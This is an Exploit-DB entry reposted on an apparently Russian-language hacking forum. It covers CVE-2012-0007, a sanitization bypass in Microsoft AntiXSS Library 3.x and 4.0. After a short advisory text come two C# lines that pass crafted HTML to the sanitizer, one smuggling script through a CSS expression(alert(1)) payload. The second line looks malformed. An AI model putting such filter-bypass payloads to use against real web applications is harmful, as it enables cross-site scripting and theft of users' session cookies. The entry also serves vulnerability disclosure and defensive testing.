Exploit Microsoft AntiXSS 3/4.0 Library Sanitization Module - Security Bypass

Exploiter

Хакер
34,644
0
18 Дек 2022
EDB-ID
36507
Проверка EDB
  1. Пройдено
Автор
ADI COHEN
Тип уязвимости
REMOTE
Платформа
WINDOWS
CVE
cve-2012-0007
Дата публикации
2012-01-10
Microsoft AntiXSS 3/4.0 Library Sanitization Module - Security Bypass
Код:
source: https://www.securityfocus.com/bid/51291/info

Microsoft Anti-Cross Site Scripting (AntiXSS) Library is prone to a security-bypass vulnerability that affects the sanitization module.

An attacker can exploit this vulnerability to bypass the filter and conduct cross-site scripting attacks. Successful exploits may allow attackers to execute arbitrary script code and steal cookie-based authentication credentials.

Microsoft Anti-Cross Site Scripting Library 3.x and 4.0 are vulnerable.

string data = Microsoft.Security.Application.Sanitizer.GetSafeHtml("a<style><!--div{font-family:Foo,Bar\\,'a\\a';font-family:';color:expression(alert(1));y'}--></style><div>b</div>");

string data = Microsoft.Security.Application.Sanitizer.GetSafeHtmlFragment("<div style="">aaa</div>")
 
Источник
www.exploit-db.com

Похожие темы